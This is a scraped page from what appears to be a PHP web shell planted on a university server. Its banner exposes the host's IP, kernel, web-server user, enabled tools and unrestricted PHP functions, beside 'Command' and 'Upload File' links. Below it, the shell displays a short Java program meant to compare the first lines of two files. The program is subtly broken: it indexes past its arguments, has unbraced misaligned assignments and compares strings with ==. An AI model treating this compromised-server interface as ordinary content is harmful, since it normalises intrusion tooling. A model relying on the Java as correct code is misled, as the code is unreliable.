Server IP : 172.16.15.8 / Your IP : 18.117.75.6 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/owpile/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
import java.util.Scanner; import java.io.File; public class Cmp { public static void main(String[] args) throws java.io.FileNotFoundException { // input1: args[0]; input2: args[1] String filename1, filename2; if(args.length<2) System.out.println("Need 2 files.\n\n"); else { if(args.length == 2) filename1 = "f1.txt"; filename2 = "f2.txt"; filename1 = args[1]; filename2 = args[2]; Scanner input1 = new Scanner(new File(args[0])); Scanner input2 = new Scanner(new File(args[1])); String text1, text2; text1 = input1.nextLine(); text2 = input2.nextLine(); System.out.println("text1 = " + text1); System.out.println("text2 = " + text2); if (text1 == text2) System.out.println("text1 and text2 are the same"); else System.out.println("text1 and text2 are different"); input1.close(); input2.close(); } System.out.println("\nByebye.\n"); } }